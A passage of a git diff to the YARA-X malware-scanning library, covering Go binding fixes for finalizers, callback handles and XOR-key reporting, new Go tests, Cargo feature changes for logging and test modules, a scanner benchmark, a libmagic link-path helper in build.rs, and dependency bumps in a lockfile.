DefineGlobal(ident string, value interface{}) error { runtime.KeepAlive(c) - if ret == C.YRX_VARIABLE_ERROR { + if ret != C.YRX_SUCCESS { return errors.New(C.GoString(C.yrx_last_error())) } diff --git a/go/compiler_test.go b/go/compiler_test.go index 9f5e44de0..65ca6fcab 100644 --- a/go/compiler_test.go +++ b/go/compiler_test.go @@ -4,7 +4,9 @@ import ( "bytes" "fmt" "os" + "runtime" "testing" + "time" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" @@ -420,3 +422,52 @@ help: consider the following change }, }, c.Warnings()) } + +// gcCyclesUntilCollected returns the number of GC cycles it takes for +// collecting the Rules returned by newRules, or -1 if they are not collected. +func gcCyclesUntilCollected(newRules func() *Rules) int { + collected := make(chan struct{}) + + func() { + r := newRules() + runtime.AddCleanup(r, func(ch chan struct{}) { close(ch) }, collected) + }() + + for i := 1; i <= 10; i++ { + runtime.GC() + select { + case <-collected: + return i + case <-time.After(10 * time.Millisecond): + } + } + + return -1 +} + +func TestReadFromRulesHaveFinalizer(t *testing.T) { + r, err := Compile("rule test { condition: true }") + require.NoError(t, err) + + var buf bytes.Buffer + _, err = r.WriteTo(&buf) + require.NoError(t, err) + + // An object with a finalizer survives one more GC cycle than one + // without it, because the finalizer (which destroys the C-side rules) + // must run before the memory is freed. Rules returned by ReadFrom must + // take as many cycles to be collected as the ones returned by Compile, + // which have a finalizer. + compiled := gcCyclesUntilCollected(func() *Rules { + r, _ := Compile("rule test { condition: true }") + return r + }) + + deserialized := gcCyclesUntilCollected(func() *Rules { + r, _ := ReadFrom(bytes.NewReader(buf.Bytes())) + return r + }) + + assert.NotEqual(t, -1, compiled) + assert.Equal(t, compiled, deserialized) +} \ No newline at end of file diff --git a/go/go.mod b/go/go.mod index 1e53b916b..c81c8368c 100644 --- a/go/go.mod +++ b/go/go.mod @@ -1,6 +1,6 @@ module github.com/VirusTotal/yara-x/go -go 1.25 +go 1.26 require ( github.com/stretchr/testify v1.8.4 diff --git a/go/main.go b/go/main.go index 20e18baa7..b9c85a7ba 100644 --- a/go/main.go +++ b/go/main.go @@ -127,6 +127,7 @@ func ReadFrom(r io.Reader) (*Rules, error) { return nil, errors.New(C.GoString(C.yrx_last_error())) } + runtime.SetFinalizer(rules, (*Rules).Destroy) return rules, nil } @@ -274,6 +275,7 @@ type Metadata struct { type Match struct { offset uint64 length uint64 + xorKey int16 } // Creates a new Rule from it's C counterpart. @@ -392,6 +394,15 @@ func (m *Match) Length() uint64 { return m.length } +// XorKey returns the XOR key used for decrypting the data if the pattern had +// the xor modifier, or (0, false) if otherwise. +func (m *Match) XorKey() (uint8, bool) { + if m.xorKey >= 0 { + return uint8(m.xorKey), true + } + return 0, false +} + // This is the callback called by yrx_rules_iter, when Rules.GetRules is // called. // @@ -511,5 +522,6 @@ func matchCallback(match *C.YRX_MATCH, handle C.uintptr_t) { *matches = append(*matches, Match{ offset: uint64(match.offset), length: uint64(match.length), + xorKey: int16(match.xor_key), }) } diff --git a/go/scanner.go b/go/scanner.go index 67c08ad8f..e62f51ce4 100644 --- a/go/scanner.go +++ b/go/scanner.go @@ -44,18 +44,6 @@ type Scanner struct { // is garbage collected the associated C.YRX_RULES object is destroyed // before the C.YRX_SCANNER object. rules *Rules - // Handle to the scanner itself that is passed to C callbacks. - // - // Go 1.21 introduces https://pkg.go.dev/runtime#Pinner.Pin, which allows - // to pin a Go object in memory, guaranteeing that the garbage collector - // won't move it to another memory location. We could pin the Scanner - // struct and pass a pointer to the scanner to the C code, making this - // handle unnecessary. At this time (Feb 2024) Go 1.21 is only 6 months - // old, and we want to support older versions. - handle cgo.Handle - - // Rules that matched during the last scan. - matchingRules []*Rule } // ScanResults contains the results of a call to [Scanner.Scan] or [Rules.Scan]. @@ -73,11 +61,11 @@ func (s ScanResults) MatchingRules() []*Rule { //export onMatchingRule func onMatchingRule(rule *C.YRX_RULE, handle C.uintptr_t) { h := cgo.Handle(handle) - scanner, ok := h.Value().(*Scanner) + matchingRules, ok := h.Value().(*[]*Rule) if !ok { - panic("onMatchingRule didn't receive a Scanner") + panic("onMatchingRule didn't receive a *[]*Rule") } - scanner.matchingRules = append(scanner.matchingRules, newRule(rule)) + *matchingRules = append(*matchingRules, newRule(rule)) } // NewScanner creates a Scanner that will use the provided YARA rules. @@ -91,13 +79,6 @@ func NewScanner(r *Rules) *Scanner { panic("yrx_scanner_create failed") } - s.handle = cgo.NewHandle(s) - - C._yrx_scanner_on_matching_rule( - s.cScanner, - C.YRX_RULE_CALLBACK(C.onMatchingRule), - C.uintptr_t(s.handle)) - runtime.SetFinalizer(s, (*Scanner).Destroy) return s } @@ -128,6 +109,12 @@ func (s *Scanner) FastScan(yes bool) { runtime.KeepAlive(s) } +// MaxMatchesPerPattern sets the maximum number of matches per pattern. +func (s *Scanner) MaxMatchesPerPattern(n int) { + C.yrx_scanner_max_matches_per_pattern(s.cScanner, C.size_t(n)) + runtime.KeepAlive(s) +} + var ErrTimeout = errors.New("timeout") // SetGlobal sets the value of a global variable. @@ -175,7 +162,7 @@ func (s *Scanner) SetGlobal(ident string, value interface{}) error { runtime.KeepAlive(s) - if ret == C.YRX_VARIABLE_ERROR { + if ret != C.YRX_SUCCESS { return errors.New(C.GoString(C.yrx_last_error())) } @@ -249,9 +236,21 @@ func (s *Scanner) Scan(buf []byte) (*ScanResults, error) { ptr = (*C.uint8_t)(unsafe.Pointer(&(buf[0]))) } + var matchingRules []*Rule + handle := cgo.NewHandle(&matchingRules) + defer func() { + C._yrx_scanner_on_matching_rule(s.cScanner, nil, 0) + handle.Delete() + }() + runtime.LockOSThread() defer runtime.UnlockOSThread() + C._yrx_scanner_on_matching_rule( + s.cScanner, + C.YRX_RULE_CALLBACK(C.onMatchingRule), + C.uintptr_t(handle)) + var err error switch r := C.yrx_scanner_scan(s.cScanner, ptr, C.size_t(len(buf))); r { case C.YRX_SUCCESS: @@ -262,10 +261,8 @@ func (s *Scanner) Scan(buf []byte) (*ScanResults, error) { err = errors.New(C.GoString(C.yrx_last_error())) } - scanResults := &ScanResults{s.matchingRules} - s.matchingRules = nil - - return scanResults, err + runtime.KeepAlive(s) + return &ScanResults{matchingRules}, err } // ScanFile scans a file with the Rules associated to the Scanner. @@ -273,9 +270,21 @@ func (s *Scanner) ScanFile(path string) (*ScanResults, error) { cPath := C.CString(path) defer C.free(unsafe.Pointer(cPath)) + var matchingRules []*Rule + handle := cgo.NewHandle(&matchingRules) + defer func() { + C._yrx_scanner_on_matching_rule(s.cScanner, nil, 0) + handle.Delete() + }() + runtime.LockOSThread() defer runtime.UnlockOSThread() + C._yrx_scanner_on_matching_rule( + s.cScanner, + C.YRX_RULE_CALLBACK(C.onMatchingRule), + C.uintptr_t(handle)) + var err error switch r := C.yrx_scanner_scan_file(s.cScanner, cPath); r { case C.YRX_SUCCESS: @@ -286,10 +295,8 @@ func (s *Scanner) ScanFile(path string) (*ScanResults, error) { err = errors.New(C.GoString(C.yrx_last_error())) } - scanResults := &ScanResults{s.matchingRules} - s.matchingRules = nil - - return scanResults, err + runtime.KeepAlive(s) + return &ScanResults{matchingRules}, err } // ProfilingInfo contains profiling information about a YARA rule. @@ -346,6 +353,8 @@ func (s *Scanner) SlowestRules(n int) []ProfilingInfo { C.YRX_SLOWEST_RULES_CALLBACK(C.slowestRulesCallback), C.uintptr_t(slowestRules)) + runtime.KeepAlive(s) + if result == C.YRX_NOT_SUPPORTED { panic("SlowestRules requires that the YARA-X C library is built with the `rules-profiling` feature") } @@ -368,6 +377,7 @@ func (s *Scanner) ClearProfilingData() { if C.yrx_scanner_clear_profiling_data(s.cScanner) == C.YRX_NOT_SUPPORTED { panic("ClearProfilingData requires that the YARA-X C library is built with the `rules-profiling` feature") } + runtime.KeepAlive(s) } // Destroy destroys the scanner. @@ -377,7 +387,6 @@ func (s *Scanner) ClearProfilingData() { func (s *Scanner) Destroy() { if s.cScanner != nil { C.yrx_scanner_destroy(s.cScanner) - s.handle.Delete() s.cScanner = nil } s.rules = nil diff --git a/go/scanner_test.go b/go/scanner_test.go index 49dd363cc..4951f4077 100644 --- a/go/scanner_test.go +++ b/go/scanner_test.go @@ -45,11 +45,28 @@ func TestScanner2(t *testing.T) { assert.Equal(t, "$bar", matchingRules[0].Patterns()[0].Identifier()) assert.Equal(t, uint64(3), matchingRules[0].Patterns()[0].Matches()[0].Offset()) assert.Equal(t, uint64(3), matchingRules[0].Patterns()[0].Matches()[0].Length()) + xorKey, ok := matchingRules[0].Patterns()[0].Matches()[0].XorKey() + assert.False(t, ok) + assert.Equal(t, uint8(0), xorKey) s.Destroy() runtime.GC() } +func TestScannerXorKey(t *testing.T) { + r, _ := Compile(`rule t { strings: $foo = "foo" xor condition: $foo }`) + s := NewScanner(r) + scanResults, _ := s.Scan([]byte{0xCC, 0xC5, 0xC5}) + matchingRules := scanResults.MatchingRules() + + assert.Len(t, matchingRules, 1) + assert.Len(t, matchingRules[0].Patterns(), 1) + assert.Len(t, matchingRules[0].Patterns()[0].Matches(), 1) + xorKey, ok := matchingRules[0].Patterns()[0].Matches()[0].XorKey() + assert.True(t, ok) + assert.Equal(t, uint8(0xAA), xorKey) +} + func TestScanner3(t *testing.T) { r, _ := Compile( `rule t { condition: var_bool }`, @@ -178,3 +195,45 @@ func TestScannerFastScan(t *testing.T) { assert.Len(t, matchingRules[0].Patterns(), 1) assert.Len(t, matchingRules[0].Patterns()[0].Matches(), 1) } + +func TestScannerMaxMatchesPerPattern(t *testing.T) { + r, _ := Compile(` + rule t { + strings: + $a = "foo" + condition: + #a == 1 + }`) + s := NewScanner(r) + s.MaxMatchesPerPattern(1) + scanResults, _ := s.Scan([]byte("foofoofoo")) + matchingRules := scanResults.MatchingRules() + + assert.Len(t, matchingRules, 1) +} + + +func TestScannerGarbageCollected(t *testing.T) { + r, _ := Compile(`rule t { condition: true }`) + collected := make(chan struct{}) + + func() { + s := NewScanner(r) + runtime.AddCleanup(s, func(ch chan struct{}) { close(ch) }, collected) + s.Scan([]byte{}) + }() + + // The scanner has a finalizer, so it takes at least two GC cycles to + // free it: one for running the finalizer, and another one for freeing + // the memory. + for i := 0; i < 10; i++ { + runtime.GC() + select { + case <-collected: + return + case <-time.After(10 * time.Millisecond): + } + } + + t.Fatal("scanner was not garbage collected") +} \ No newline at end of file diff --git a/js-wasm/Cargo.toml b/js-wasm/Cargo.toml index bd5935893..8fd373b33 100644 --- a/js-wasm/Cargo.toml +++ b/js-wasm/Cargo.toml @@ -18,15 +18,21 @@ crate-type = ["cdylib", "rlib"] [dependencies] serde = { workspace = true, features = ["derive"] } serde_json = { workspace = true } -yara-x = { workspace = true } +yara-x = { workspace = true, default-features = true } [target.'cfg(target_family = "wasm")'.dependencies] js-sys = { workspace = true } serde-wasm-bindgen = { workspace = true } wasm-bindgen = { workspace = true } -getrandom = { workspace = true, features = ["js"] } +getrandom = { workspace = true, features = ["wasm_js"] } uuid = { workspace = true, features = ["js"] } [target.'cfg(target_arch = "wasm32")'.dev-dependencies] wasm-bindgen-test = { workspace = true } zip = { workspace = true, features = ["deflate"] } +# Enables the test modules when building the WASM tests. Not included in the +# published npm package. +yara-x = { workspace = true, features = [ + "test_proto2-module", + "test_proto3-module", +] } diff --git a/js-wasm/tests-js/end_to_end.test.js b/js-wasm/tests-js/end_to_end.test.js index 563e1066a..96af0f8a7 100644 --- a/js-wasm/tests-js/end_to_end.test.js +++ b/js-wasm/tests-js/end_to_end.test.js @@ -144,8 +144,6 @@ test("Compiler accepts the full browser module set", () => { "pe", "string", "time", - "test_proto2", - "test_proto3", ].map( (moduleName) => ` import "${moduleName}" diff --git a/js-wasm/tests/support/mod.rs b/js-wasm/tests/support/mod.rs index 748d510fe..d6a6d56f4 100644 --- a/js-wasm/tests/support/mod.rs +++ b/js-wasm/tests/support/mod.rs @@ -100,7 +100,7 @@ pub(crate) fn decode_zipped_ihex_fixture( .by_index(index) .expect("fixture archive entry should open"); - if file.name() != inner_name { + if file.name().expect("file must have a valid name ") != inner_name { continue; } diff --git a/lib/Cargo.toml b/lib/Cargo.toml index f7949c7a6..002ed3134 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -34,6 +34,35 @@ rustdoc-args = ["--cfg", "docsrs"] # actually computes the expression. constant-folding = [] +# Enables internal log statements inside YARA-X via the standard `log` crate +# facade. +# +# When this feature is enabled, YARA-X emits internal log messages (using +# `log::info!`,`log::error!`, etc.). However, it does not initialize any +# concrete logger implementation. The host application remains responsible +# for configuring and initializing its own logger (e.g., `env_logger`, +# `tracing-subscriber`, or a custom logger). +logging = ["dep:log", "dep:quanta"] + +# Enables internal logging and automatically logs messages to stderr. +# +# Unlike `logging` (which only emits log events and relies on the host +# application to set up a logger), `stderr-logs` actually writes log messages +# to stderr. This is particularly useful when YARA-X is embedded in non-Rust +# host binaries, allowing log output to be configured via the `YRX_LOG` +# environment variable. +# +# Log output can be configured by setting `YRX_LOG` to any of the log levels: +# `error`, `warn`, `info`, `debug`, or `trace`. +# +# You can also specify different log levels for specific targets/modules using +# comma-separated `target=level` directives: +# +# YRX_LOG=info # Global level set to info +# YRX_LOG=yara_x=debug # Debug level for the yara_x crate +# YRX_LOG=warn,yara_x::compiler=trace # Global warn, trace for yara_x::compiler +stderr-logs = ["dep:env_logger", "logging"] + # Enables the use of exact atoms for speeding up matches. Exact atoms are those # that don't require further verification, the sole presence of the atom # indicates that the pattern containing the atom matches. For instance, in @@ -74,9 +103,6 @@ generate-module-docs = ["protoc"] # plugin. Follow the instructions in: https://lib.rs/crates/protobuf-codegen3 protoc = [] -# Enables debug logs. -logging = ["dep:log", "dep:quanta"] - # When enabled, the serialization of compiled rules include native code for # the platform in which the rules where compiled. This reduces the load time, # as the native code is already included in the serialized rules and doesn't @@ -270,15 +296,18 @@ default-modules = [ "lnk-module", "macho-module", "math-module", - "msi-module", + # Still experimental + # "msi-module", "hash-module", - "olecf-module", + # Still experimental + # "olecf-module", "pe-module", "string-module", "time-module", - "test_proto2-module", - "test_proto3-module", - "vba-module", + # Test modules are not enabled by default. They are only built when + # running this crate's own tests, see the dev-dependencies below. + # Still experimental + # "vba-module", "vt-module", "zip-module", ] @@ -310,6 +339,7 @@ digest = { workspace = true, optional = true } dsa = { workspace = true, optional = true } ecdsa = { workspace = true, optional = true } encoding_rs = { workspace = true, optional = true } +env_logger = { workspace = true, optional = true } flate2 = { workspace = true, optional = true } memmap2 = { workspace = true } indexmap = { workspace = true, features = ["serde"] } @@ -363,10 +393,9 @@ wasmtime = { workspace = true, default-features = false, features = [ [target.'cfg(target_family = "wasm")'.dependencies] js-sys = "0.3.90" wasm-bindgen = { workspace = true } -# When compiling for WASM the `js` feature is needed. The dependency chain for -# getrandom is: dsa -> num-bigint-dig -> rand -> rand_core -> getrandom. When -# `dsa` gets upgraded to a newer version this may not be required anymore. -getrandom = { version = "0.2.17", features = ["js"]} +# When compiling for WASM the `wasm_js` feature is needed. The dependency chain +# for getrandom is: dsa -> crypto-bigint -> getrandom. +getrandom = { workspace = true, features = ["wasm_js"] } [build-dependencies] anyhow = { workspace = true } @@ -377,6 +406,15 @@ protobuf-parse = { workspace = true, optional = true } yara-x-proto = { workspace = true, optional = true } [dev-dependencies] +# Enables the test modules when running this crate's tests. Features from +# dev-dependencies don't affect normal or release builds. Default features +# are disabled, otherwise they would be enabled even when the tests are run +# with `--no-default-features`. +yara-x = { path = ".", default-features = false, features = [ + "test_proto2-module", + "test_proto3-module", +] } + criterion = "0.8" globwalk = { workspace = true } goldenfile = { workspace = true } @@ -392,4 +430,8 @@ harness = false [[bench]] name = "pe" +harness = false + +[[bench]] +name = "scanner" harness = false \ No newline at end of file diff --git a/lib/benches/scanner.rs b/lib/benches/scanner.rs new file mode 100644 index 000000000..755791ad7 --- /dev/null +++ b/lib/benches/scanner.rs @@ -0,0 +1,58 @@ +use std::fmt::Write; +use std::hint::black_box; + +use criterion::{Criterion, criterion_group, criterion_main}; + +/// Returns a rule set with `n` rules, each one with a text, hex and regexp +/// pattern. +fn rules_with_patterns(n: usize) -> String { + let mut src = String::new(); + for i in 0..n { + writeln!( + src, + "rule r{i} {{ strings: $a = \"text_{i}_pattern\" $b = {{ 68 78 {:02X} {:02X} ?? 00 }} $c = /re{i}_[0-9]+_abc/ condition: any of them }}", + i % 256, + (i / 256) % 256, + ) + .unwrap(); + } + src +} + +/// Returns a rule set with `n` rules that call functions from the `pe`, +/// `math` and `hash` modules. +fn rules_with_modules(n: usize) -> String { + let mut src = + String::from("import \"pe\"\nimport \"math\"\nimport \"hash\"\n"); + for i in 0..n { + writeln!( + src, + "rule m{i} {{ condition: pe.is_pe and pe.number_of_sections > {i} and math.entropy(0, filesize) > 7.0 and hash.md5(0, {i}) == \"d41d8cd98f00b204e9800998ecf8427e\" }}", + ) + .unwrap(); + } + src +} + +fn bench_scanner_new(c: &mut Criterion) { + let rule_sets = [ + ("1_rule", "rule r { condition: true }".to_string()), + ("1k_rules", rules_with_patterns(1_000)), + ("10k_rules", rules_with_patterns(10_000)), + ("100_rules_with_modules", rules_with_modules(100)), + ]; + + let mut group = c.benchmark_group("scanner_new"); + + for (name, src) in rule_sets { + let rules = yara_x::compile(src.as_str()).unwrap(); + group.bench_function(name, |b| { + b.iter(|| black_box(yara_x::Scanner::new(black_box(&rules)))); + }); + } + + group.finish(); +} + +criterion_group!(benches, bench_scanner_new); +criterion_main!(benches); diff --git a/lib/build.rs b/lib/build.rs index 9ee06f215..e66691688 100644 --- a/lib/build.rs +++ b/lib/build.rs @@ -280,9 +280,19 @@ fn generate_module_docs( for (msg_name, field_number, comments) in docs { let escaped_comments = comments.replace("\"", "\\\""); + // Testing proto modules don't end up in release builds. + let cfg_attr = if msg_name.starts_with("test_proto") { + format!( + r#"#[cfg(feature = "{}-module")] + "#, + msg_name.split_once('.').unwrap().0 + ) + } else { + String::new() + }; writeln!( field_docs_rs, - r#" ("{}", {}, "{}"),"#, + r#"{cfg_attr} ("{}", {}, "{}"),"#, msg_name, field_number, escaped_comments ) .unwrap(); @@ -388,6 +398,28 @@ fn generate_proto_code() { // Generate .rs files for .proto files in src/modules/protos proto_compiler.run_from_script(); + let out_dir = env::var("OUT_DIR").unwrap(); + + // The test protos are compiled only when the corresponding feature is + // enabled, keeping the test modules out of release builds. The `cfg` + // attributes are added here (instead of skipping the generation of the + // files) so the generated code doesn't depend on the enabled features. + let out_mod_rs_path = + PathBuf::from(&out_dir).join("protos").join("mod.rs"); + let out_mod_rs = fs::read_to_string(&out_mod_rs_path).unwrap(); + let out_mod_rs = out_mod_rs + .replace( + "pub mod test_proto2;", + r#"#[cfg(feature = "test_proto2-module")] +pub mod test_proto2;"#, + ) + .replace( + "pub mod test_proto3;", + r#"#[cfg(feature = "test_proto3-module")] +pub mod test_proto3;"#, + ); + fs::write(&out_mod_rs_path, out_mod_rs).unwrap(); + // Decide whether `modules.rs` and the content of the `protos/generated` // directory should be re-generated. By default, they will be re-generated. let mut regenerate = true; @@ -415,7 +447,6 @@ fn generate_proto_code() { #[cfg(feature = "generate-module-docs")] generate_module_docs(&proto_files, &modules); - let out_dir = env::var("OUT_DIR").unwrap(); let src_dir = PathBuf::from("src/modules/protos/generated"); let _ = fs::create_dir_all(&src_dir); @@ -431,7 +462,125 @@ fn generate_proto_code() { } } +/// Emits `cargo:rustc-link-search=native=` flags so the linker can find +/// `libmagic` when the `magic-module` feature is enabled. +/// +/// Why this is needed: +/// `magic` 0.16.7 depends on `magic-sys` 0.3.0, whose `build.rs` does not use +/// `pkg-config` or probe non-standard library locations. Unless `MAGIC_DIR` or +/// `vcpkg` is configured, `magic-sys` only emits `cargo:rustc-link-lib=magic` +/// without any `-L` search path. On Linux `libmagic.so` typically resides in a +/// default system path (`/usr/lib/...`), but macOS does not ship `libmagic` +/// and `ld` does not search Homebrew or MacPorts prefixes by default, failing +/// with `ld: library 'magic' not found`. Setting `MAGIC_DIR` on macOS is also +/// broken in `magic-sys` 0.3.0 because it looks for `libmagic.so` instead of +/// `libmagic.dylib`, silently falling back to `libmagic.a` without linking its +/// transitive C dependencies (`lzma`, `bz2`, `z`). +/// +/// Why this lives in `lib/build.rs`: +/// Cargo propagates `cargo:rustc-link-search` from `rlib` crates (`yara-x`) to +/// all downstream link targets (`yara-x-py`, `yara-x-capi`, `yr`, and test +/// binaries), where `rustc` combines our `-L native=` flag with the +/// `-lmagic` requirement recorded in `magic-sys`'s metadata. +#[cfg(feature = "magic-module")] +fn configure_magic_link_search() { + use std::env; + use std::path::PathBuf; + use std::process::Command; + + println!("cargo:rerun-if-env-changed=MAGIC_DIR"); + println!("cargo:rerun-if-env-changed=VCPKG_ROOT"); + println!("cargo:rerun-if-env-changed=PKG_CONFIG"); + println!("cargo:rerun-if-env-changed=PKG_CONFIG_PATH"); + println!("cargo:rerun-if-env-changed=PKG_CONFIG_LIBDIR"); + println!("cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR"); + println!("cargo:rerun-if-env-changed=HOMEBREW_PREFIX"); + + // `magic-sys` handles `MAGIC_DIR` and `vcpkg` directly; defer to it when + // either environment variable is explicitly set by the user. + if env::var_os("MAGIC_DIR").is_some() + || env::var_os("VCPKG_ROOT").is_some() + { + return; + } + + // Avoid querying the host's `pkg-config` during cross-compilation unless + // `pkg-config` has been explicitly configured for cross-builds; otherwise + // host library paths could leak into the target linker invocation. + let is_cross = env::var("HOST") != env::var("TARGET"); + let allow_pkg_config = !is_cross + || env::var_os("PKG_CONFIG_ALLOW_CROSS").is_some() + || env::var_os("PKG_CONFIG_LIBDIR").is_some() + || env::var_os("PKG_CONFIG_SYSROOT_DIR").is_some(); + + // First try `pkg-config` to discover non-default library directories (e.g. + // custom prefixes, Nix, or Homebrew/MacPorts when `pkgconf` is installed). + if allow_pkg_config { + let pkg_config = + env::var_os("PKG_CONFIG").unwrap_or_else(|| "pkg-config".into()); + + if let Ok(output) = Command::new(pkg_config) + .args(["--libs-only-L", "libmagic"]) + .output() + && output.status.success() + { + let mut found = false; + for flag in + String::from_utf8_lossy(&output.stdout).split_whitespace() + { + if let Some(dir) = flag.strip_prefix("-L") { + println!("cargo:rustc-link-search=native={dir}"); + found = true; + } + } + if found { + return; + } + } + } + + // `brew install libmagic` on macOS does not install `pkg-config` by + // default, so `pkg-config` above may not be present even when `libmagic` + // is installed. Probe standard Homebrew and MacPorts locations as a + // fallback. + if env::var("CARGO_CFG_TARGET_OS").as_deref() == Ok("macos") { + let mut candidates = Vec::new(); + + if let Some(prefix) = env::var_os("HOMEBREW_PREFIX") { + let prefix = PathBuf::from(prefix); + candidates.push(prefix.join("opt/libmagic/lib")); + candidates.push(prefix.join("lib")); + } + + // Apple Silicon Macs often have both arm64 (`/opt/homebrew`) and + // Intel/Rosetta (`/usr/local`) Homebrew installations side-by-side, so + // check the prefix matching the target architecture first. + if env::var("CARGO_CFG_TARGET_ARCH").as_deref() == Ok("x86_64") { + candidates.push(PathBuf::from("/usr/local/opt/libmagic/lib")); + candidates.push(PathBuf::from("/opt/homebrew/opt/libmagic/lib")); + } else { + candidates.push(PathBuf::from("/opt/homebrew/opt/libmagic/lib")); + candidates.push(PathBuf::from("/usr/local/opt/libmagic/lib")); + } + + // MacPorts default library path. + candidates.push(PathBuf::from("/opt/local/lib")); + + for dir in candidates { + if dir.join("libmagic.dylib").exists() + || dir.join("libmagic.1.dylib").exists() + { + println!("cargo:rustc-link-search=native={}", dir.display()); + break; + } + } + } +} + fn main() { #[cfg(feature = "generate-proto-code")] generate_proto_code(); + + #[cfg(feature = "magic-module")] + configure_magic_link_search(); } diff --git a/lib/fuzz/Cargo.lock b/lib/fuzz/Cargo.lock index a48ff824e..696c4755f 100644 --- a/lib/fuzz/Cargo.lock +++ b/lib/fuzz/Cargo.lock @@ -23,7 +23,6 @@ version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" dependencies = [ - "log", "memchr", ] @@ -33,11 +32,20 @@ version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" +[[package]] +name = "android_system_properties" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae221649c9976a6f6c56ae1facf410f3ddb33cc661c4b7b61020a912d4237fbc" +dependencies = [ + "libc", +] + [[package]] name = "annotate-snippets" -version = "0.12.15" +version = "0.12.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92570a3f9c98e7e84df84b71d0965ac99b1871fcd75a3773a3bd1bad13f64cf7" +checksum = "b2a5b0a5ab8561c603f16c3b78c24a386b1f70e7fc1b1b1e8c15738828e4a176" dependencies = [ "anstyle", "memchr", @@ -52,9 +60,9 @@ checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" [[package]] name = "anyhow" -version = "1.0.102" +version = "1.0.104" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" [[package]] name = "arbitrary" @@ -80,7 +88,7 @@ dependencies = [ "nom 7.1.3", "num-traits", "rusticata-macros", - "thiserror 2.0.18", + "thiserror 2.0.21", "time", ] @@ -92,7 +100,7 @@ checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", "synstructure", ] @@ -104,7 +112,7 @@ checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -115,7 +123,7 @@ checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -126,15 +134,15 @@ checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8" [[package]] name = "base16ct" -version = "0.2.0" +version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" +checksum = "fd307490d624467aa6f74b0eabb77633d1f758a7b25f12bceb0b22e08d9726f6" [[package]] name = "base64" -version = "0.22.1" +version = "0.23.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" [[package]] name = "base64ct" @@ -142,12 +150,6 @@ version = "1.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55248b47b0caf0546f7988906588779981c43bb1bc9d0c44087278f80cdb44ba" -[[package]] -name = "beef" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a8241f3ebb85c056b509d4327ad0358fbbba6ffb340bf388f26350aeda225b1" - [[package]] name = "bincode" version = "2.0.1" @@ -170,21 +172,22 @@ dependencies = [ [[package]] name = "bitflags" -version = "2.11.1" +version = "2.13.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" +checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06" dependencies = [ "serde_core", ] [[package]] name = "bitvec" -version = "1.0.1" +version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" +checksum = "ddcec3d12c579d40898fe0a9a358a803c23e9c52ca3c425707f81c9436211837" dependencies = [ "funty", "radium", + "serde", "tap", "wyz", ] @@ -198,15 +201,25 @@ dependencies = [ "generic-array", ] +[[package]] +name = "block-buffer" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2f6c7dbe95a6ed67ad9f18e57daf93a2f034c524b99fd2b76d18fdfeb6660aa" +dependencies = [ + "hybrid-array", + "zeroize", +] + [[package]] name = "bstr" -version = "1.12.1" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63044e1ae8e69f3b5a92c736ca6269b8d12fa7efe39bf34ddb06d102cf0e2cab" +checksum = "6bb31b46c14244e20ee9984b11bf5c992b91fb6939fea616e3512c8baecdbe5f" dependencies = [ "memchr", "regex-automata", - "serde", + "serde_core", ] [[package]] @@ -236,20 +249,51 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" +[[package]] +name = "cfg_aliases" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" + +[[package]] +name = "chrono" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "wasm-bindgen", + "windows-link", +] + +[[package]] +name = "cmov" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c9ea0ac24bc397ab3c98583a3c9ba74fa56b09a4449bbe172b9b1ddb016027a" + [[package]] name = "cobs" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum 